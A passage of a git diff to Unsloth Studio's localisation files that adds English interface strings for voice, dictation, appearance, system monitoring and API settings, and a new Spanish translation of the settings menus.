+      resources: "System",
       chat: "Chat",
+      voice: "Voice",
       connections: "Connections",
       apiKeys: "API",
       about: "About",
     },
+    voice: {
+      title: "Voice",
+      description: "Microphone, dictation, and read-aloud",
+      dictation: {
+        sectionTitle: "Dictation",
+        microphoneLabel: "Microphone",
+        microphoneDescription: "Used for dictation",
+        microphoneFallbackHint:
+          "Used for dictation. Falls back to the system default if the browser speech engine cannot use this device",
+        microphoneGrantDescription: "Allow mic access to show device names",
+        allowMicrophone: "Allow microphone",
+        micAccessBlocked:
+          "Microphone access was blocked. Allow microphone access for this Unsloth page, then try again.",
+        micAccessUnsupported:
+          "Microphone access is not supported in this browser or context.",
+        micOpenFailed:
+          "Could not open the selected microphone. Check permissions or pick another device.",
+        systemDefault: "System default",
+        savedMicDisconnected: "Saved microphone (not connected)",
+        languageLabel: "Dictation language",
+        languageDescription: "Language to recognize",
+        languageAuto: "Auto (browser language)",
+        testLabel: "Test dictation",
+        testDescription: "Speak to check your mic and settings",
+        startTest: "Start test",
+        stopTest: "Stop test",
+        listening: "Listening…",
+        testSaved: "Saved to recent dictations",
+        notSupported: "Not supported in this browser",
+      },
+      dictionary: {
+        sectionTitle: "Dictation dictionary",
+        sectionDescription:
+          "Apply the spelling entered here when dictation recognizes the same words or phrase",
+        addEntry: "Add entry",
+      },
+      recents: {
+        sectionTitle: "Recent dictations",
+        sectionDescription:
+          "Your recent dictations will appear here so you can recover text",
+        empty: "No dictations yet",
+        copied: "Copied to clipboard",
+        copyFailed: "Could not copy to clipboard",
+        clear: "Clear recent dictations",
+      },
+      readAloud: {
+        sectionTitle: "Read aloud",
+        buttonLabel: "Read aloud button",
+        buttonDescription: "Show on assistant responses",
+        engineLabel: "TTS engine",
+        engineSystemDescription: "Built-in device voices",
+        engineStudioDescription: "Uses the loaded audio model (e.g. Orpheus)",
+        engineSystem: "System voices",
+        engineStudio: "Load TTS model",
+        modelLabel: "TTS model",
+        modelDescription:
+          "Load an audio model from the model selector (e.g. Orpheus TTS)",
+        voiceLabel: "Voice",
+        voiceDescription: "Best voices on this device",
+        speedLabel: "Speed",
+        pitchLabel: "Pitch",
+        volumeLabel: "Volume",
+        previewLabel: "Preview voice",
+        previewDescription: "Play a short sample",
+        previewAction: "Preview",
+        stopAction: "Stop",
+        ttsLabel: "Text to speech",
+        notSupported: "Not supported in this browser",
+      },
+    },
     general: {
       title: "General",
       description: "Global preferences for Unsloth.",
@@ -108,7 +183,7 @@ export const en = {
       showToken: "Show token",
       tokenSaved: "Token saved",
       password: "Password",
-      passwordDescription: "Change the password for this Studio account.",
+      passwordDescription: "Change the password for this Unsloth account.",
       passwordDialog: {
         trigger: "Change password",
         title: "Change password",
@@ -177,6 +252,12 @@ export const en = {
         revoked: "All preview links revoked",
         revokeError: "Couldn't revoke preview links",
       },
+      permissions: {
+        sectionTitle: "Permissions",
+        bypassLabel: "Bypass permissions",
+        bypassDescription:
+          "How Unsloth approves chat tool calls (terminal, python, web, MCP) before they run. Full access disables approvals and the code sandbox.",
+      },
       notifications: {
         sectionTitle: "Notifications",
         showLlamaUpdates: "llama.cpp update notifications",
@@ -240,7 +321,11 @@ export const en = {
       avatarShape: "Profile picture shape",
       avatarShapeCircle: "Circle",
       avatarShapeRounded: "Rounded",
-      chooseSloth: "Or pick a sloth",
+      greetingSloth: "Sloth in greeting",
+      greetingSlothDescription: "Show the sloth in the chat greeting.",
+      chooseSloth: "Or pick a sloth profile picture",
+      noPicture: "No profile picture",
+      noneLabel: "None",
       nameSaved: "Profile name saved",
       namePersistErrorTitle: "Could not persist profile name",
       namePersistErrorDescription:
@@ -263,10 +348,97 @@ export const en = {
         light: "Light",
         dark: "Dark",
       },
+      palette: {
+        label: "Color palette",
+        description: "Colors used across Unsloth, in light and dark mode.",
+        standard: "Standard",
+        classic: "Classic",
+        minimal: "Minimal",
+      },
+      custom: {
+        reset: "Reset",
+        resetAll: "Reset customization",
+        preferencesTitle: "Preferences",
+        colors: {
+          lightGroup: "Light theme",
+          darkGroup: "Dark theme",
+          accent: "Accent",
+          background: "Background",
+          foreground: "Foreground",
+        },
+        fontDefault: "Default",
+        fontBundledGroup: "Built-in",
+        fontImportedGroup: "Imported",
+        fontDeviceGroup: "On this device",
+        fontFolderGroup: "From folder",
+        fontDeviceLoading: "Looking for device fonts…",
+        fontSearch: "Search fonts…",
+        fontNoResults: "No fonts found.",
+        colorPicker: {
+          hue: "Hue",
+          hex: "Hex color",
+          eyedropper: "Pick a color from the screen",
+        },
+        uiFont: {
+          label: "UI font",
+        },
+        headingFont: {
+          label: "Heading font",
+        },
+        chatFont: {
+          label: "Chat font",
+        },
+        codeFont: {
+          label: "Code font",
+        },
+        importFont: {
+          upload: "Upload",
+          scanFolder: "Select folder",
+          alreadyAvailable:
+            "This font is already available, so the existing copy is used.",
+          folderNoFonts: "No font files found in that folder.",
+          remove: "Remove",
+          errorInvalidType:
+            "Unsupported file type. Use .woff2, .woff, .ttf, or .otf.",
+          errorTooLarge: "Font file is too large (max 1.5 MB).",
+          errorLimit: "You can import up to 3 fonts.",
+          errorStorageFull: "Not enough local storage for this font. Remove an imported font first.",
+          errorFailed: "Could not load this font file.",
+        },
+        uiFontSize: {
+          label: "UI font size",
+          description: "Adjust the base size used for the Unsloth UI.",
+        },
+        codeFontSize: {
+          label: "Code font size",
+          description: "Adjust the base size used for code.",
+        },
+        fontSmoothing: {
+          label: "Font smoothing",
+          description: "Use smoothed font anti-aliasing.",
+        },
+        contrast: {
+          label: "Contrast",
+          description: "Strength of borders and secondary text.",
+        },
+        reduceMotion: {
+          label: "Reduce motion",
+          description: "Reduce animations or match your system.",
+          system: "System",
+          on: "On",
+          off: "Off",
+        },
+        pointerCursors: {
+          label: "Use pointer cursors",
+          description:
+            "Change the cursor to a pointer when hovering over interactive elements.",
+        },
+      },
       language: {
         title: "Language",
         label: "Display language",
         description: "The language used by Unsloth.",
+        autoDetect: "Auto detect",
       },
       layout: {
         title: "Layout",
@@ -274,6 +446,65 @@ export const en = {
         compactSidebarDescription:
           "Keep the sidebar expanded instead of collapsing to icons.",
       },
+      sidebarMenu: {
+        title: "Sidebar menu",
+        description:
+          "Show, hide, and reorder items in the sidebar profile menu. Settings, Help, Log out, and Shutdown stay fixed.",
+        darkModeToggle: "Dark mode toggle",
+        dragToReorder: "Drag to reorder",
+      },
+    },
+    resources: {
+      title: "System",
+      description: "Monitor this Unsloth server's hardware and storage.",
+      liveUpdates: "Live updates",
+      floatingWindow: "Floating window",
+      disableOverlay: "Disable overlay",
+      liveMonitor: {
+        title: "Live monitor",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disk",
+        vram: "VRAM",
+        cpuCores: "{logical} logical / {physical} physical cores",
+        currentLoad: "Current load",
+        free: "{value} free",
+        noGpu: "No visible GPU",
+      },
+      gpu: {
+        title: "GPU devices",
+        noGpu: "No visible GPU detected. CPU-only resources are shown above.",
+        unknownDevice: "Unknown GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} used",
+        free: "{value} free",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Storage",
+        systemDisk: "System disk",
+        diskUsage: "{used} used / {total}",
+        diskFree: "{free} free",
+        modelsFolder: "Models folder",
+        modelsFolderDescription: "Where downloaded models are stored.",
+        openAction: "Open",
+        copyAction: "Copy path",
+        copied: "Path copied",
+        openError: "Couldn't open the folder",
+        copyError: "Couldn't copy the path",
+      },
+      environment: {
+        title: "Environment",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Uptime",
+        processMemory: "Process memory",
+        notInstalled: "Not installed",
+        unknown: "Unknown",
+      },
     },
     chat: {
       title: "Chat",
@@ -355,7 +586,6 @@ export const en = {
       description: "Access Unsloth via the OpenAI-compatible API.",
       readDocs: "Read the API docs",
       noAccess: "No API access yet.",
-      newBadge: "New",
       accessTokens: "Access tokens",
       loadError: "Couldn't load API access.",
       createError: "Couldn't create access token.",
@@ -373,8 +603,10 @@ export const en = {
       usageTools: "Tools",
       exampleCurlTools: "curl + tools",
       examplePythonTools: "Python + tools",
+      exampleJavaScriptTools: "JavaScript + tools",
       exampleCurlAdvanced: "curl + advanced",
       examplePythonAdvanced: "Python + advanced",
+      exampleJavaScriptAdvanced: "JavaScript + advanced",
       osUnix: "Linux / macOS / WSL",
       osWindows: "Windows",
       secureHttps: "Secure HTTPS",
@@ -385,6 +617,13 @@ export const en = {
       copy: "Copy",
       copied: "Copied",
       setupDocs: "Setup docs:",
+      codingAgents: "Coding agents",
+      codingAgentsHint:
+        "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.",
+      codingAgentsSwap:
+        "Swap claude for codex, openclaw, opencode, hermes, or pi.",
+      codingAgentDetected: "Installed on this machine",
+      codingAgentsDetectedHint: "Detected on this machine: {agents}.",
       relativeNever: "never",
       relativeJustNow: "just now",
       relativeHoursAgo: "{count}h ago",
diff --git a/studio/frontend/src/i18n/locales/es.ts b/studio/frontend/src/i18n/locales/es.ts
new file mode 100644
index 0000000000..e5f9650bef
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/es.ts
@@ -0,0 +1,1043 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const es = {
+  common: {
+    cancel: "Cancelar",
+    close: "Cerrar",
+    delete: "Eliminar",
+    done: "Listo",
+    error: "Error",
+    export: "Exportar",
+    help: "Ayuda",
+    loading: "Cargando...",
+    new: "Nuevo",
+    rename: "Renombrar",
+    save: "Guardar",
+    saving: "Guardando...",
+    search: "Buscar",
+    shutdown: "Apagar",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menú de cuenta de {name}",
+    updateAvailable: "Actualización disponible",
+    aria: {
+      home: "Inicio de Unsloth",
+      closeSidebar: "Cerrar barra lateral",
+      openSidebar: "Abrir barra lateral",
+      chatOptions: "Opciones de chat",
+      runOptions: "Opciones de ejecución",
+    },
+    navigation: {
+      newChat: "Nuevo chat",
+      returnToChat: "Volver al chat",
+      compare: "Comparar",
+      search: "Buscar",
+      hub: "Hub",
+      train: "Entrenar",
+      recipes: "Recetas",
+      export: "Exportar",
+      recents: "Recientes",
+      noChatsYet: "Aún no hay chats",
+      settings: "Configuración",
+      api: "API",
+      lightMode: "Modo claro",
+      darkMode: "Modo oscuro",
+      guidedTour: "Recorrido guiado",
+      help: "Ayuda",
+      logOut: "Cerrar sesión",
+      shutdown: "Apagar",
+    },
+    notFound: {
+      title: "Página no encontrada",
+      description: "{path} no existe.",
+      backToChat: "Volver al chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Eliminar chat",
+        description: '¿Seguro que quieres eliminar este chat "{name}"?',
+      },
+      deleteRun: {
+        title: "Eliminar ejecución de entrenamiento",
+        description: '¿Seguro que quieres eliminar esta ejecución "{name}"?',
+      },
+      renameChat: {
+        title: "Renombrar chat",
+        placeholder: "Título del chat",
+      },
+      renameRun: {
+        title: "Renombrar ejecución",
+        placeholder: "Nombre de la ejecución",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "No se puede eliminar una ejecución de entrenamiento en curso",
+      failedToDeleteChat: "No se pudo eliminar el chat",
+      failedToDeleteRun: "No se pudo eliminar la ejecución",
+      failedToRenameChat: "No se pudo renombrar el chat",
+      failedToRenameRun: "No se pudo renombrar la ejecución",
+    },
+  },
+  settings: {
+    title: "Configuración",
+    dialog: {
+      title: "Configuración",
+      description: "Gestiona tus preferencias de Unsloth.",
+      closeAriaLabel: "Cerrar configuración",
+    },
+    tabs: {
+      general: "General",
+      profile: "Perfil",
+      appearance: "Apariencia",
+      resources: "Sistema",
+      chat: "Chat",
+      connections: "Conexiones",
+      apiKeys: "API",
+      about: "Acerca de",
+    },
+    general: {
+      title: "General",
+      description: "Preferencias globales de Unsloth.",
+      account: "Cuenta",
+      huggingFaceToken: "Token de Hugging Face",
+      huggingFaceTokenDescription:
+        "Se usa para cargar modelos restringidos y subir artefactos.",
+      hideToken: "Ocultar token",
+      showToken: "Mostrar token",
+      tokenSaved: "Token guardado",
+      password: "Contraseña",
+      passwordDescription:
+        "Cambia la contraseña de esta cuenta de Studio.",
+      passwordDialog: {
+        trigger: "Cambiar contraseña",
+        title: "Cambiar contraseña",
+        description:
+          "Introduce tu contraseña actual y elige una nueva (al menos {minLength} caracteres).",
+        currentPassword: "Contraseña actual",
+        newPassword: "Contraseña nueva",
+        confirmPassword: "Confirmar contraseña nueva",
+        currentTooShort:
+          "La contraseña actual debe tener al menos {minLength} caracteres.",
+        newTooShort:
+          "La contraseña nueva debe tener al menos {minLength} caracteres.",
+        mismatch: "Las contraseñas no coinciden.",
+        samePassword:
+          "La contraseña nueva debe ser distinta de la actual.",
+        update: "Actualizar contraseña",
+        updating: "Actualizando...",
+        updated: "Contraseña actualizada.",
+        updateFailed: "No se pudo actualizar la contraseña.",
+      },
+      chatDefaults: "Valores predeterminados del chat",
+      autoTitleNewChats: "Titular automáticamente los chats nuevos",
+      autoTitleNewChatsDescription:
+        "Genera un título breve a partir del primer mensaje.",
+      helperLlm: {
+        sectionTitle: "LLM auxiliar",
+        preloadOnStartup: "Precargar el LLM auxiliar al iniciar",
+        preloadOnStartupDescription:
+          "Descarga en segundo plano el modelo auxiliar de AI Assist al iniciar. Desactivado por defecto; AI Assist aún puede obtenerlo bajo demanda.",
+        disabledByEnv:
+          "Desactivado por UNSLOTH_HELPER_MODEL_DISABLE en el entorno del backend.",
+        loadError: "No se pudo cargar la configuración del LLM auxiliar.",
+        saveError: "No se pudo guardar la configuración del LLM auxiliar.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Cambio automático de modelo (API de OpenAI)",
+        enable: "Cambiar de modelo según la solicitud",
+        enableDescription:
+          "Cuando una solicitud compatible con OpenAI nombra un GGUF descargado distinto, se carga antes de responder. Desactivado por defecto; los nombres desconocidos siguen usando el modelo cargado.",
+        idleUnload: "Descarga automática por inactividad",
+        idleUnloadDescription:
+          "Descarga el modelo tras este número de segundos inactivo para liberar VRAM; la siguiente solicitud lo recarga. 0 lo mantiene cargado.",
+        idleNeedsEnable:
+          "Activa Cambiar de modelo según la solicitud para que un modelo descargado se recargue en el próximo uso.",
+        idleActiveViaEnv:
+          "La descarga automática por inactividad está activa mediante la variable de entorno UNSLOTH_MODEL_IDLE_TTL.",
+        loadError:
+          "No se pudo cargar la configuración de cambio automático de modelo.",
+        saveError:
+          "No se pudo guardar la configuración de cambio automático de modelo.",
+        idleError: "Introduce un número entero de segundos (0 o más).",
+      },
+      previewSharing: {
+        sectionTitle: "Compartir vista previa",
+        enableLabel: "Enlaces públicos de vista previa",
+        enableDescription:
+          "Permite que cualquiera con un enlace firmado chatee con un modelo terminado, sin necesidad de iniciar sesión. Desactívalo para retirar la vista previa pública; los enlaces compartidos dejan de funcionar.",
+        loadError:
+          "No se pudo cargar la configuración para compartir vista previa.",
+        saveError:
+          "No se pudo guardar la configuración para compartir vista previa.",
+        revokeLabel: "Revocar todos los enlaces de vista previa",
+        revokeDescription:
+          "Rota el secreto de firma para que todos los enlaces que hayas compartido dejen de funcionar. Los enlaces recién copiados siguen funcionando.",
+        revokeAction: "Revocar enlaces",
+        revoking: "Revocando...",
+        revokeConfirmTitle: "¿Revocar todos los enlaces de vista previa?",
+        revokeConfirmDescription:
+          "Todos los enlaces de vista previa que hayas compartido dejarán de funcionar de inmediato. Esto no se puede deshacer.",
+        revokeConfirmAction: "Revocar todos los enlaces",
+        revoked: "Todos los enlaces de vista previa revocados",
+        revokeError: "No se pudieron revocar los enlaces de vista previa",
+      },
+      notifications: {
+        sectionTitle: "Notificaciones",
+        showLlamaUpdates: "Notificaciones de actualización de llama.cpp",
+        showLlamaUpdatesDescription:
+          "Avisa cuando haya una compilación más reciente de llama.cpp para ejecutar nuevos modelos. Desactívalo si solo entrenas.",
+      },
+      gettingStarted: "Primeros pasos",
+      startOnboarding: "Iniciar la introducción",
+      startOnboardingDescription:
+        "Reabre el asistente de configuración sin cambiar tu cuenta.",
+      startOnboardingAction: "Iniciar la introducción",
+      uploads: {
+        sectionTitle: "Subidas",
+        maxUploadSize: "Límite de subida del conjunto de datos de entrenamiento",
+        maxUploadSizeDescription: "El valor predeterminado es {defaultSize} MB.",
+      },
+      rag: {
+        sectionTitle: "Documentos y RAG",
+        embeddingModel: "Modelo de embeddings",
+        embeddingModelDescription:
+          "Modelo de Hugging Face o ruta local usada para indexar y buscar tus documentos. El valor predeterminado es {defaultModel}.",
+        reindexWarning:
+          "Solo afecta a los documentos recién indexados. Vuelve a subir los existentes tras cambiar el modelo.",
+        emptyError:
+          "Introduce un id de modelo de Hugging Face o una ruta local.",
+        loadError:
+          "No se pudo cargar la configuración del modelo de embeddings.",
+        saveError: "No se pudo guardar el modelo de embeddings.",
+        saved: "Modelo de embeddings guardado.",
+        saveAnyway: "Guardar de todos modos",
+        resetAction: "Restablecer al valor predeterminado",
+      },
+      storage: {
+        sectionTitle: "Almacenamiento",
+        modelsFolder: "Carpeta de modelos",
+        modelsFolderDescription:
+          "Dónde se almacenan los modelos descargados.",
+        openAction: "Abrir",
+        copyAction: "Copiar ruta",
+        copied: "Ruta copiada",
+        openError: "No se pudo abrir la carpeta",
+        copyError: "No se pudo copiar la ruta",
+      },
+      resetPreferences: {
+        sectionTitle: "Zona de peligro",
+        label: "Restablecer todas las preferencias locales",
+        description:
+          "Borra las preferencias solo locales. Se conservan los chats, el acceso a la API y la configuración almacenada en la base de datos.",
+        action: "Restablecer preferencias",
+        confirmTitle: "¿Restablecer todas las preferencias locales?",
+        confirmDescription:
+          "Borra las preferencias solo locales y recarga Unsloth. Se conservan los chats, el acceso a la API y la configuración almacenada en la base de datos.",
+        confirmAction: "Restablecer y recargar",
+      },
+    },
+    profile: {
+      title: "Perfil",
+      description: "Cómo aparece tu perfil en Unsloth.",
+      changePicture: "Cambiar foto de perfil",
+      displayName: "Nombre visible",
+      nickname: "¿Cómo debería llamarte Unsloth?",
+      nicknamePlaceholder: "Apodo",
+      nicknameSaved: "Nombre preferido guardado",
+      avatarShape: "Forma de la foto de perfil",
+      avatarShapeCircle: "Círculo",
+      avatarShapeRounded: "Redondeada",
+      chooseSloth: "O elige un perezoso",
+      nameSaved: "Nombre de perfil guardado",
+      namePersistErrorTitle: "No se pudo guardar el nombre de perfil",
+      namePersistErrorDescription:
+        "El nombre se actualizó para esta sesión, pero podría no conservarse tras recargar.",
+      photoUpdated: "Foto de perfil actualizada",
+      photoPersistErrorTitle: "No se pudo guardar la foto de perfil",
+      photoPersistErrorDescription:
+        "La foto se actualizó para esta sesión, pero podría no conservarse tras recargar.",
+      photoUpdateErrorTitle: "No se pudo actualizar la foto de perfil",
+      imageUseError: "No se pudo usar esta imagen.",
+    },
+    appearance: {
+      title: "Apariencia",
+      description: "Cómo se ve Unsloth Studio en este dispositivo.",
+      theme: {
+        title: "Tema",
+        label: "Esquema de color",
+        description: "Claro, oscuro o según tu sistema.",
+        system: "Sistema",
+        light: "Claro",
+        dark: "Oscuro",
+      },
+      language: {
+        title: "Idioma",
+        label: "Idioma de la interfaz",
+        description: "El idioma que usa Unsloth.",
+        autoDetect: "Detección automática",
+      },
+      layout: {
+        title: "Diseño",
+        compactSidebar: "Fijar la barra lateral por defecto",
+        compactSidebarDescription:
+          "Mantén la barra lateral expandida en lugar de contraerla a iconos.",
+      },
+    },
+    resources: {
+      title: "Sistema",
+      description:
+        "Monitorea el hardware y el almacenamiento de este servidor de Studio.",
+      liveUpdates: "Actualizaciones en vivo",
+      floatingWindow: "Ventana flotante",
+      disableOverlay: "Desactivar superposición",
+      liveMonitor: {
+        title: "Monitor en vivo",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disco",
+        vram: "VRAM",
+        cpuCores: "{logical} núcleos lógicos / {physical} físicos",
+        currentLoad: "Carga actual",
+        free: "{value} libre",
+        noGpu: "No hay GPU visible",
+      },
+      gpu: {
+        title: "Dispositivos GPU",
+        noGpu:
+          "No se detectó ninguna GPU visible. Arriba se muestran los recursos solo de CPU.",
+        unknownDevice: "GPU desconocida",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} en uso",
+        free: "{value} libre",
+        total: "{value} en total",
+      },
+      storage: {
+        title: "Almacenamiento",
+        systemDisk: "Disco del sistema",
+        diskUsage: "{used} en uso / {total}",
+        diskFree: "{free} libre",
+        modelsFolder: "Carpeta de modelos",
+        modelsFolderDescription:
+          "Dónde se almacenan los modelos descargados.",
+        openAction: "Abrir",
+        copyAction: "Copiar ruta",
+        copied: "Ruta copiada",
+        openError: "No se pudo abrir la carpeta",
+        copyError: "No se pudo copiar la ruta",
+      },
+      environment: {
+        title: "Entorno",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Tiempo activo",
+        processMemory: "Memoria del proceso",
+        notInstalled: "No instalado",
+        unknown: "Desconocido",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description: "Gestiona el historial de chat almacenado en este dispositivo.",
+      modelDisclaimer: "Mostrar aviso del modelo",
+      modelDisclaimerDescription:
+        'Muestra "Los LLM pueden cometer errores" bajo el cuadro de chat.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Contraer bloques HTML",
+        collapseHtmlBlocksDescription:
+          "El modo Canvas contrae el HTML completo automáticamente. Activa esto para contraer también los documentos HTML entre delimitadores cuando Canvas está desactivado.",
+        allowNetworkAccess: "Permitir acceso de red en Canvas",
+        allowNetworkAccessDescription:
+          "Permite que las vistas previas de Canvas carguen scripts, estilos, fuentes, medios y recursos de red desde CDNs. Mantenlo desactivado para vistas previas totalmente sin conexión.",
+      },
+      data: "Datos",
+      exportHistory: "Exportar historial de chat",
+      exportHistoryDescription:
+        "Descarga todos los chats y mensajes como JSON.",
+      exportAction: "Exportar",
+      exportingAction: "Exportando...",
+      exportConversations: "Exportar Recientes y Proyectos",
+      exportConversationsDescription:
+        "Descarga Recientes, o Recientes más los chats de proyectos, como JSONL sin procesar, CSV o JSONL de ShareGPT, combinados o por chat.",
+      exportConversationsAction: "Exportar",
+      exportScopeRecents: "Recientes",
+      exportScopeAll: "Recientes + Proyectos",
+      exportCombinedSuffix: "(combinado)",
+      exportPerChatSuffix: "(por chat)",
+      importChats: "Importar chats",
+      importChatsDescription:
+        "Importa una exportación JSONL, NDJSON o CSV a Recientes.",
+      importChatsAction: "Importar",
+      importNoConversations: "No se encontraron conversaciones en el archivo.",
+      importedOneChat: "Se importó 1 conversación a Recientes.",
+      importedChatCount: "Se importaron {count} conversaciones a Recientes.",
+      importFailed: "La importación falló.",
+      clearHistory: "Borrar historial de chat",
+      clearHistoryDescription: "Elimina el historial de chat de este dispositivo.",
+      clearAction: "Borrar",
+      clearAllChats: "Borrar todos los chats",
+      clearAllChatsDescription:
+        "Elimina permanentemente todos los chats de este dispositivo.",
+      noChatsToClear: "No hay chats para borrar.",
+      clearOneChatDescription:
+        "Elimina permanentemente el único chat de este dispositivo.",
+      clearChatCountDescription:
+        "Elimina permanentemente los {count} chats de este dispositivo.",
+      clearChatsAction: "Borrar chats",
+      clearOneChatTitle: "¿Borrar 1 chat?",
+      clearChatsTitle: "¿Borrar {count} chats?",
+      clearChatsConfirmDescription:
+        "Elimina permanentemente todos los chats de este dispositivo. Esto no se puede deshacer.",
+      clearingAction: "Borrando...",
+      clearOneChatAction: "Borrar 1 chat",
+      clearChatCountAction: "Borrar {count} chats",
+      clearedAllChats: "Se borraron todos los chats",
+      clearedOneChat: "Se borró 1 chat",
+      clearedChatCount: "Se borraron {count} chats",
+      someChatsCouldNotBeCleared: "Algunos chats no se pudieron borrar",
+      chatsClearedRemainOne:
+        "{clearedCount} chats borrados; queda 1 chat. Inténtalo de nuevo.",
+      chatsClearedRemain:
+        "{clearedCount} chats borrados; quedan {remainingCount} chats. Inténtalo de nuevo.",
+      oneChatClearedRemain:
+        "1 chat borrado; quedan {remainingCount} chats. Inténtalo de nuevo.",
+      oneChatClearedRemainOne:
+        "1 chat borrado; queda 1 chat. Inténtalo de nuevo.",
+      storageClearFailedOne:
+        "Falló un borrado del almacenamiento; puede quedar 1 chat. Inténtalo de nuevo.",
+      storageClearFailed:
+        "Falló un borrado del almacenamiento; pueden quedar {count} chats. Inténtalo de nuevo.",
+      failedToClearChats: "No se pudieron borrar los chats",
+    },
+    connections: {
+      title: "Conexiones",
+      description: "Gestiona proveedores y conexiones externas.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Accede a Unsloth mediante la API compatible con OpenAI.",
+      readDocs: "Leer la documentación de la API",
+      noAccess: "Aún no hay acceso a la API.",
+      accessTokens: "Tokens de acceso",
+      loadError: "No se pudo cargar el acceso a la API.",
+      createError: "No se pudo crear el token de acceso.",
+      revokeError: "No se pudo revocar el token de acceso.",
+      never: "Nunca",
+      tokenNamePlaceholder: "Nombre del token (p. ej. producción)",
+      newAccessTokenName: "Nombre del nuevo token de acceso",
+      createToken: "Crear token",
+      creating: "Creando...",
+      newTokenCreated: "Nuevo token de acceso creado",
+      accessTokenCopied: "Token de acceso copiado",
+      copyAccessToken: "Copiar token de acceso",
+      copyNow: "Cópialo ahora: no se volverá a mostrar.",
+      usageExamples: "Ejemplos de uso",
+      usageTools: "Herramientas",
+      exampleCurlTools: "curl + herramientas",
+      examplePythonTools: "Python + herramientas",
+      exampleJavaScriptTools: "JavaScript + herramientas",
+      exampleCurlAdvanced: "curl + avanzado",
+      examplePythonAdvanced: "Python + avanzado",
+      exampleJavaScriptAdvanced: "JavaScript + avanzado",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS seguro",
+      secureHttpsHint:
+        "El puerto 0.0.0.0 sigue siendo accesible globalmente. Para máxima seguridad, inicia Unsloth Studio con --secure para exponer solo este enlace HTTPS.",
+      copyTunnelUrl: "Copiar URL del túnel",
+      copySnippet: "Copiar fragmento",
+      copy: "Copiar",
+      copied: "Copiado",
+      setupDocs: "Documentación de configuración:",
+      codingAgents: "Agentes de programación",
+      codingAgentsHint:
+        "Inicia un agente de programación contra este servidor. Usa el modelo cargado; un servidor local genera una clave de API automáticamente y uno remoto la incluye en el comando.",
+      codingAgentsSwap:
+        "Reemplaza claude por codex, openclaw, opencode, hermes o pi.",
+      codingAgentDetected: "Instalado en esta máquina",
+      codingAgentsDetectedHint: "Detectados en esta máquina: {agents}.",
+      relativeNever: "nunca",
+      relativeJustNow: "justo ahora",
+      relativeHoursAgo: "hace {count} h",
+      relativeDaysAgo: "hace {count} d",
+      relativeMonthsAgo: "hace {count} mes(es)",
+      relativeYearsAgo: "hace {count} año(s)",
+      expired: "caducado",
+      today: "hoy",
+      inDays: "en {count} d",
+      created: "Creado {value}",
+      used: "Usado {value}",
+      expires: "Caduca {value}",
+      actionsFor: "Acciones para {name}",
+      copyPrefix: "Copiar prefijo",
+      revokeToken: "Revocar token",
+      revokeTitle: '¿Revocar el token de acceso "{name}"?',
+      revokeDescription:
+        "Las apps que usan este token pierden el acceso de inmediato. Esto no se puede deshacer.",
+      revokeAction: 'Revocar "{name}"',
+      revoking: "Revocando...",
+    },
+    about: {
+      title: "Acerca de",
+      description:
+        "Documentación, notas de la versión, comentarios e información de compilación.",
+      studioVersion: "Versión de Unsloth",
+      packageVersion: "Versión del paquete",
+      llamaCppVersion: "Versión de llama.cpp",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Actualizar",
+      help: "Ayuda",
+      documentation: "Documentación",
+      releaseNotes: "Notas de la versión",
+      whatsNew: "Novedades",
+      feedback: "Comentarios",
+      reportIssue: "Reportar un problema",
+      license: {
+        sectionTitle: "Licencia",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Código abierto bajo la GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Con licencia Apache 2.0.",
+      },
+      dangerZone: "Zona de peligro",
+      shutDownStudio: "Apagar Unsloth Studio",
+      shutDownStudioDescription:
+        "Detiene el servidor de Unsloth y finaliza tu sesión.",
+      shutDown: "Apagar",
+      update: {
+        title: "Actualizar Unsloth Studio",
+        commandText: "Texto de {label}",
+        copied: "Copiado",
+        copyCommand: "Copiar comando",
+        commandCopied: "{label} copiado",
+        copyNamedCommand: "Copiar {label}",
+        checkingInstall: "Comprobando cómo se instaló Unsloth...",
+        installIntro: "Para instalar o actualizar Unsloth:",
+        localUpdateHeading: "Actualización local",
+        installCommandUnix: "Comando de instalación para macOS/Linux",
+        installCommandWindows: "Comando de instalación para Windows",
+        localInstallDetected:
+          "Instalación local detectada. Actualiza desde tu checkout original para evitar reemplazarlo con PyPI.",
+        pullThenUpdate:
+          "Descarga los últimos cambios y luego ejecuta el instalador local:",
+        gitPullCommand: "comando git pull",
+        localInstallerCommand: "comando del instalador local",
+        sourceInstallDetected:
+          "Instalación de paquete desde código fuente o VCS detectada. Reinstala desde la ruta local original o la URL de Git.",
+        repoCheckoutFallback:
+          "Si aún tienes el checkout del repositorio, ejecuta el instalador local desde él:",
+        restartAfterUpdate: "Reinicia Unsloth después de actualizar.",
+        desktopManaged:
+          "La app de escritorio mantiene actualizado su backend integrado y avisará cuando haya una nueva versión disponible.",
+        unknownInstall:
+          "No se pudo detectar cómo se instaló Unsloth. Para instalaciones con el instalador o desde PyPI, usa los comandos anteriores.",
+        localCheckout:
